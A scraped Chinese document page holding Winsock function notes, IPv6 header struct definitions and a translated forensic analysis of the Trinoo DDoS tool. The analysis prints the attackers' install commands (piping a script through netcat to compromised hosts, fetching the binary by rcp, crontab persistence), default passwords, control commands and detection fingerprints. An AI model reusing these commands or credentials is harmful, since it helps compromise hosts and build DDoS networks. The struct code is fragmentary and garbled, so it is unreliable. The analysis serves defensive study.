socket(soketDescriptor)[声明]SOCKETsocket(intaf,inttype,intprotocol);[参数]af-地址家族(通常使用:AF_INET)type-socket的种类SOCK_STREAM:用于TCP协议SOCK_DGRAM:用于UDP协议protocol-所使用的协议[返回值]当函数成功调用时返回一个新的SOCKET(SocketDescriptor)失败时返回INVALID_SOCKET.---inet_addr函数地址转换,把"A.B.C.D"的IP地址转换为32位长整数[声明]unsignedlonginet_addr(constcharFAR*cp);[参数]cp-指向IP地址字符串的指针[返回值]当函数成功调用时返回用32位整数表示的IP地址失败时返回INADDR_NONE.---gethostbyname函数从主机名获取主机信息.[声明]structhostentFAR*gethostbyname(constcharFAR*name);[参数]name-指向主机名字符串的指针[返回值]当函数成功调用时返回主机信息失败时返回NULL(空值)recv函数利用Socket进行接受数据.[声明]intrecv(SOCKETs,charFAR*buf,intlen,intflags);[参数]s-指向用Socket函数生成的SocketDescriptorbuf-接受数据的缓冲区(数组)的指针len-缓冲区的大小flag-调用方式(MSG_PEEK或MSG_OOB)[返回值]成功时返回收到的字节数.如果连接被中断则返回0失败时返回SOCKET_ERRORsendto函数发送数据.[声明]intsendto(SOCKETs,constcharFAR*buf,intlen,intflags,conststructsockaddrFAR*to,inttoken);[参数]s-指向用Socket函数生成的SocketDescriptorbuf-接受数据的缓冲区(数组)的指针len-缓冲区的大小flag-调用方式(MSG_DONTROUTE,MSG_OOB)to-指向发送方SOCKET地址的指针token-发送方SOCKET地址的大小[返回值]成功时返回已经发送的字节数.失败时返回SOCKET_ERROR-作者:kyohiroyuki2006年03月30日,星期四15:08回复(1)|引用(0)加入博采»自定义IP头的方法-作者:kyohiroyuki2006年03月30日,星期四14:56回复(0)|引用(0)加入博采»IPv6报头,IPv6扩展头,ICMPv6报头的数据结构的定义IPv6报头,IPv6扩展头,ICMPv6报头的数据结构的定义根据RFC1883定义typedefstruct_IPv6Hdr{u_int4_tip_ver;//IP版本号u_int8_tpriority;〃包优先级u_int20_tflowlabel;〃流标签u_int16_tpayloadlength;//负载长度u_int8_tnextheader;〃下一头u_int8_thoplimit;〃跳数限制structin6_addrip_src;〃源IP地址structin6_addrip_dst;//目的IP地址}IPv6Hdr;u_int8_tnextheader;〃下一头u_int8_thdrextlen;〃头长度structoptoptions;//}IPv6hopbyhopHdr;typedefstruct_IPv6RouHdr〃选路头{u_int8_tnextheader;〃下一头u_int8_thdrextlen;//头长度u_int8_troutingtype;//u_int8_tsegmentsleft;//structtyspdatatype_specificdata;//}IPv6RouHdr;typedefstruct_IPv6FraHdr〃分段头{TOC\o"1-5"\h\zu_int8_tnextheader;//u_int8_treserved;//u_int13_tfragmentoffset;//u_int2_tres;//u_int1_tmflag;//u_int32_tidentification;//}IPv6FraHdr;u_int8_tnextheader;〃下一头u_int8_thdrextlen;〃头长度structoptoptions;//}IPv6DesHdr;根据RFC1826定义typedefstruct_IPv6AutHdr//身份验证头{u_int8_tnextheader;u_int8_tlength;u_int16_treserved;u_int32_tspi;〃安全参数索引structauthdataauthenticationdata;}IPv6AutHdr;根据RFC18271829定义typedefstruct_IPv6ESPHdr//ESP头{u_int32_tspi:structoptrdataopaquetransformdata;〃与具体的加解密算法有关,长度可变}IPv6ESPHdr;根据RFC18852463定义u_int8_ttype:u_int8_tcode;u_int16_tchecksum;union(u_int32_tmtu_or_pointer;//出错消息(errormessage)structidseq〃信息消息(informationmessage){u_int16_tid;u_int16_tseq;}idseq;}ICMPv6Hdr;存在一个问题:对于可变长度的数据结构如何定义?-作者:kyohiroyuki2006年03月28日,星期二09:25回复(0)|引用(0)加入博采»Trinoo的官方分析DDoS攻击工具——Trinoo分析(1)2005-11-2401:17出处:ChinaITLab简介本文是对拒绝服务攻击工具包trinoo中主/从程序服务器的一些分析。Trinoo守护程序的二进制代码包最初是在一些Solaris2.x主机中发现的,这些主机是被攻击者利用RPC服务安全漏洞”statd”、"cmsd"和"ttdbserverd”入侵的。关于这些漏洞的详细资料请参阅CERT事件记录99-04:
/incident_notes/IN-99-04.html最初的trinoo守护程序来源于某些基于UDP协议和有访问控制的远程命令shell,并很有可能附带有能自动记录的嗅探器(sniffer)。在研究这个工具包的过程中,捕获到了Trinoo攻击网络的安装过程及一些源代码。我们就是利用这些捕获到的源代码进入了深入的分析。对这些源代码的任何修改,如提示、口令、命令、TCP/UDP端口号或所支持的攻击方法、签名和具体功能,都可能使分析的结果与本文不同。该守护程序是在Solaris2.5.1和RedHatLinux6.0上编译并运行。主服务器(master)在RedHatLinux6.0上编译和运行。但也许守护程序和主服务器都可在其它同类平台中使用。Trinoo网络可能包含几百、甚至几千台已被入侵的互联网主机组成。这些主机很可能都被装上了各种”后门”以方便再次进入系统。在1999年8月17日,一个由至少227台主机(其中114台属于Internet2主机)组成的trinoo网络攻击了位于明尼苏达(Minnessota)大学的一台主机,其结果是该主机网络崩溃超过两天。而在调查这次攻击期间,又有至少16台其它主机被攻击,其中包括了一些美国以外的主机。(请参阅附录D以了解此次trinoo攻击的报告。攻击过程一次典型的攻击过程很可能是这样的:1)一个盗取来的帐号被用于编译各种扫描工具、攻击工具(如缓冲区溢出程序)、rootkit和sniffer,trinoo守护程序、主服务器、入侵主机、目标主机清单等等。这个系统往往是一些拥有很多用户、存在管理漏洞和具有高速连接速率(以进行文件传输)的大型主机系统。2)然后对一个大范围的网络进行扫描以确定潜在的入侵目标。最有可能的是那些可能存在各种远程缓冲区溢出漏洞的主机,如wu-ftpd、RPC服务(cmsd,statd,ttdbserverd,amd)等。这些主机的操作系统最好是SunSolaris2.x和Linux,以便充分利用各种现成的rootkits和后门程序等。如果是其它系统则可用来保存工具和记录。3)在得到入侵主机清单后,编写实现入侵攻击、监听TCP端口(通常为1524”ingreslock")和连接到该端口以确定入侵成功的脚本程序。或者通过发送电子邮件到一个免费WEB邮箱以确认已入侵该主机。
入侵完成后将产生一个”被控制”主机清单,这些主机将被用于放置后门、sniffer或trinoo守护程序或trinoo主服务器。4)从已入侵系统清单中选出满足建立trinoo网络需要的主机,放置已编译好的trinoo守护程序。5)最后,运行DoS攻击脚本,该脚本根据上面建立的被入侵主机清单,生成另外的脚本程序,在后台以最快的速度自动安装。脚本使用"netcat"将shell脚本发送到被入侵主机的1524/tcp端口。./trin.sh|nc128.aaa.167.2171524&./trin.sh|nc128.aaa.167.2181524&./trin.sh|nc128.aaa.167.2191524&./trin.sh|nc128.aaa.187.381524&./trin.sh|nc128.bbb.2.801524&./trin.sh|nc128.bbb.2.811524&./trin.sh|nc128.bbb.2.2381524&./trin.sh|nc128.ccc.12.221524&./trin.sh|nc128.ccc.12.501524&其中的"trin.sh"脚本产生如下输出:echo"rcp:leaf/usr/sbin/rpc.listen”echo"echorcpisdonemovingbinary"echo"chmod+x/usr/sbin/rpc.listen"
echo"echolaunchingtrinooecho"/usr/sbin/rpc.listen"cron"echo"crontabcron"echo"echolaunched"echo"exit"只要时常检查crontab文件,可以轻易监测到该主机是否已被trinoo侵入。在其它系统还发现了另一种方法:守护程序的名字被改为"xterm”,然后通过脚本执行它。cd/var/adm/.1PATH=.:$PATHexportPATH&1在这个守护程序中通过运行脚本来完成trinoo网络的建立是完全有可能的。更隐蔽的方法是让trinoo守护程序/主服务器只在某个给定时间才被唤醒运行,并打开监听的TCP或UDP端口。整个自动安装过程使攻击者在极短的时间内,利用大量的被入侵主机建立了拒绝服务攻击网络。6)作为一种选择,rootkit常常被安装到系统中以隐藏攻击程序、文件和网络连接。这对运行主服务器的系统更为重要,因为它是trinoo网络的核心部份。(注:在许多情况下,主服务器往往被安装在互联网服务供应商(ISP)的域名服务器上,DNS服务器大量的通讯流量、大量的TCP/UDP连接,将为隐蔽trinoo的网络连接、攻击过程和文件存放提供非常有利的帮助。(此外,除非能确定在域名服务器中存在拒绝服务工具的行为,否则系统管理员一般不会轻易中断系统服务进行安全检查。)
Rootkits也可能在安装了sniffer的系统中使用,例如"hunt"(TCP/IP会话监视器)等可直接窃听网络通讯细节的程序。这样就不用通过远程缓冲区溢出程序进入系统了。:)要想得到更多关于rootkits的资料,请访问以下网址:/dittrich/faq/rootkits.faq目标主机Trinoo网络由主服务器(master.c)和trinoo守护程序(ns.c)组成。一个典型的trinoo网络结构如下:攻击者常常控制一个或多个”主服务器”服务器,而每一个”主服务器”服务器控制多个"守护程序”(我们可以称之为广播主机”Bcast/broadcast”)。所有接收到指令的守护程序都使用攻击数据包同时攻击一个或多个目标主机系统。Trinoo如何实现这个功能呢?是攻击者与主服务器通过"telnet”协议建立TCP连接,并通过发送带有口令的攻击指令,实现大范围、大流量、并发性的拒绝服务攻击。通讯端口攻击者到主服务器:27665/TCP主服务器到守护程序:27444/UDP守护程序到主服务器:31335/UDPTrinoo主服务器的远程控制是通过在27665/TCP端口建立TCP连接实现的。在连接建立后时,用户必须提供正确的口令("betaalmostdone”)。如果在已有人通过验证时又有另外的连接建立,则一个包含正在连接IP地址的警告信息会发送到已连接主机(程序提供的IP地址似乎有错,但警告信息仍被发送)。毫无疑问地,这个功能最终的完整实现将能给予攻击者足够的时间在离开之前清除痕迹。从trinoo主服务器到守护程序的连接是在27444/UDP端口上实现。命令行格式如下:arglpasswordarg2其中缺省的口令是"l44adsl”,只有包含此口令子串"144"的命令行会被执行。
从trinoo守护程序到主服务器的连接是在31335/UDP端口上实现。当守护程序启动时,它将发送初始化字符串”*HELLO*”到主服务器。主服务器会(通过"sniffit"程序捕获)记录并维护已激活的守护程序清单:UDPPacketID(from_IP.port-to_IP.port):.32876-.3133545E00.00.23#B1.5D]40@00.F8.11.B9.27.C0.A8.00.01.0A.00.00.01.80.6Cl7Az67g00.0F.06.D4.2A*48H45E4CL4CL4FO2A*如果trinoo主服务器通过27444/UDP端口向一个守护程序发送"png"命令,该守护程序将通过31335/UDP端口向发送"png"命令的主机返回字符串"PONG":UDPPacketID(from_IP.port-to_IP.port):.1024-.2744445E00.00.27'1A.AE.00.00.40@11.47GD4.0A.00.00.01.C0.A8.00.01.04.00.6Bk34400.13.2F/B7.70p6En67g206Cl34434461a64d73s6ClUDPPacketID(from_IP.port-to_IP.port):.32879-.3133545E00.00.2013.81.40@00.F8.11.57W07.C0.A8.00.01.0A.00.00.01.80.6Fo7Az67g00.0C.4EN24$50P4FO4EN47G口令保护主服务器和守护程序都有口令保护,以阻止系统管理员(或其他黑客组织)得到该trinoo网络的控制权。口令使用crypt()函数加密。这是一种对称式加密方式。经过加密的口令保存在已编译的主服务器和守护程序中,并与以明文方式在网络中传输的口令比较(目前的版本并没有加密通讯会话,因此不难截获在主服务器TCP控制会话中传送的明文口令。初始化运行时,出现主守护进程提示符,将等待输入口令。如果口令不正确,程序退出;如果口令正确,提示进程正在运行,然后产生子进程在后台运行,最后退出:
#./master??wrongpassword#・.・#./master??gOravetrinoov1.07d2+f3+c[Sep261999:10:09:24]#与此类似地,当连接到远程命令端口(27665/TCP)时,你也必须输入口令:attacker$telnet27665TryingConnectedtoEscapecharacteris'△]'.kwijiboConnectionclosedbyforeignhost.■■■attacker$telnet27665TryingConnectedtoEscapecharacteris'△]'.betaalmostdonetrinoov1.07d2+f3+c..[rpm8d/cb4Sx/]
从主服务器发送到trinoo守护程序的某些命令也会有口令保护。这些口令在主服务器与守护程序间又明文形式传送。缺省的口令如下:"l44adsl"trino守护程序口令"gOrave"trinoo主服务器启动(提示"??")"betaalmostdone"trinoo主服务器远程接口口令"killme"trinoo主服务器控制指令"mdie"验证口令主服务器命令rinoo主服务器支持以下命令:die关闭主服务器quit退出主服务器登录mtimerN设置DoS定时器为N秒。N的取值范围从1到1999秒。如果N<1,2000,则使用缺省值500。dosIPDoS攻击目标IP地址。命令"aaa144adslIP"被发送到每一个守护程序(Bcast主机),通知它们攻击指定的IP地址。mdiepass如果口令验证通过,则停止所有广播(Bcast)主机。命令"d1e144adsl”被发送到每一个广播主机,使它们停止。此命令需要一个单独的口令。mping发送PING命令"png144adsl"到每一台已激活的广播主机。mdos向每一个广播主机发送多DoS攻击命令("xyz144adsl123:ip1:ip2:ip3”)。
info打印版本和编译信息。如:Thisisthe"trinoo"AKADoSProjectmasterserverversionv1.07d2+f3+cCompiled15:08:41Aug161999msize设置DoS攻击时使用的数据包缓冲区大小。nslookuphost对指定的主机进行域名查询。killdead尝试清除死锁的广播主机。首先向所有已知的广播主机发送"shil44adsl”命令。(任何处于激活状态的守护程序会回送初始化字符串”*HELLO*”。)然后(通过-b参数)修改广播主机清单文件名字。这样当"*HELLO*"包被接收后能够重新初始化。usebackup切换到由"killdead"命令建立的广播主机备份文件。bcast列出所有激活的广播主机。help[cmd]服务器或命令的帮助信息,mstop试图停止一个DoS攻击(此现在尚未实现,但在help命令中列出。)守护程序命令Trinoo守护程序支持以下命令:aaapassIP攻击指定的IP地址。按固定的时间间隔(缺省为120秒,或"bbb"命令设定的1-1999值)向指定IP地址的随机UDP端口(0-65534)发送UDP数据包。数据包大小由"rsz"命令指定,缺省为1000字节。bbbpassN设置DoS攻击的时间限制(单位:秒)。
shipass通过31335/UDP端口向已编译到文件中的主服务器发送字符串”*HELLO*”。pngpass通过31335/UDP端口向主服务器发送字符串"PONG”。diepass关闭trinoo守护程序rszN设置DoS攻击的缓冲区大小为N字节°(Trinoo守护程序调用malloc()分配该大小的缓冲区,然后发送随机的数据包内容进行攻击。)xyzpass123:ip1:ip2:ip3多个DoS攻击。类似"aaa"命令,但可以同时攻击多个IP地址。工具特征最常使用的安装trinoo守护程序的方法是在系统中添加crontab项,以使守护程序能在每分钟均在运行。检查crontab文件会发现如下内容:*****/usr/sbin/rpc.listen主服务器程序会建立一个包含广播主机清单的文件(缺省文件名为"...")。如果使用了"killdead”,向"..."文件中的所有守护程序发送"shi"命令会使这些守护程序向所有的主服务器发送初始化字符串"*HELLO*"。然后这个清单文件被改名(缺省为”...-b”),而根据每一个发送了"*HELLO*"字符串(激活状态)的守护程序生成新的清单文件。源代码("master.c”)包含以下程序行:/*cryptkeyencryptedwiththekey'bored'(sohexeditcannotgetkeyeasily?)commentoutfornoencryption...*/#defineCRYPTKEY"ZsoTN.cq4X31”
如果程序编译时指定了解CRYPTKEY变量,则广播主机的IP地址将使用Blowfish算法加密:ls-l-b-rw1rootroot25Sep2614:46...-rw1rootroot50Sep2614:30...-bcat...JPbUc05Swk/0gMvui18BrFH/cat...-baE5sK0PIFws0Y0EhH02fLVK.JPbUc05Swk/0gMvui18BrFH/假设没有使用rootkit隐藏进程,主服务器可以显示出以下网络套接字特征指纹(当然,程序的名称和路径名会有所不同。):#netstat-a--inetActiveInternetconnections(serversandestablished)ProtoRecv-QSend-QLocalAddressForeignAddressStatetcp00*:27665*:*LISTEN...udp00*:31335*:*#lsof|egrep":31335|:27665"master1292root3uinet2460UDP*:31335master1292root4uinet2461TCP*:27665(LISTEN)#lsof-p1292COMMANDPIDUSERFDTYPEDEVICESIZENODENAMEmaster1292rootcwdDIR3,1102414356/tmp/...master1292rootrtdDIR3,110242/master1292roottxtREG3tmp/.../mastermaster1292rootmemREG3,134220628976/lib/ld-2.1.1.somaster1292rootmemREG3,16387829116/lib/libcrypt-2.1.1.somaster1292rootmemREG3,1401668329115/lib/libc-2.1.1.somaster1292root0uCHR4,12967/dev/tty1master1292root1uCHR4,12967/dev/tty1master1292root2uCHR4,12967/dev/tty1master1292root3uinet2534UDP*:31335master1292root4uinet2535TCP*:27665(LISTEN)而运行了守护程序的系统会显示以下特征指纹:#netstat-a--inetActiveInternetconnections(serversandestablished)ProtoRecv-QSend-QLocalAddressForeignAddressStateudp00*:1024*:*udp00*:27444*:*・・・#Isof|egrep":27444"ns1316root3uinet2502UDP*:27444#Isof-p1316COMMANDPIDUSERFDTYPEDEVICESIZENODENAMEns1316rootcwdDIR3,11024153694/tmp/...ns1316rootrtdDIR3,110242/ns1316roottxtREG3,16156153711/tmp/.../nsns1316rootmemREG3,134220628976/lib/ld-2.1.1.sons1316rootmemREG3,16387829116/lib/libcrypt-2.1.1.sons1316roo
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025届四省八校高考语文试题全真模拟密押卷(七)含解析
- 福建生物工程职业技术学院《区域经济与文化(英语)》2023-2024学年第二学期期末试卷
- 2025届山东省青岛市胶州市高三元月调考历史试题含解析
- 2025年保安证考试通关秘籍试题及答案
- 北京信息科技大学《中学化学课程资源开发与利用》2023-2024学年第二学期期末试卷
- 临夏现代职业学院《西方哲学原著导读》2023-2024学年第一学期期末试卷
- 山东省威海市乳山市银滩高级中学2024-2025学年高一下学期3月月考生物试题
- 江苏省南通市如东高级中学2025届高三下学期期中考试物理试题含解析
- 江苏省盐城市重点中学2025年高三下第一次摸底考试英语试题含解析
- 2025年保安证就业试题及答案
- 2024年第五届美丽中国(中小学组)全国国家版图知识竞赛题库及答案
- DB32T3748-2020 35kV及以下客户端变电所建设标准
- 部编版语文四年级下册第三单元教材解读大单元集体备课
- 第十届大唐杯考试真题题库及答案
- 初中生物知识竞赛试题(含答案)
- 预防性维护的重要性
- 咨询服务费合同行业分析报告
- 人教版八年级下册生物导学案全套(附答案)
- 机加工成本分析表标准模板
- 人教部编版语文七年级下册第二单元作业设计2
- 《消毒供应室》课件
评论
0/150
提交评论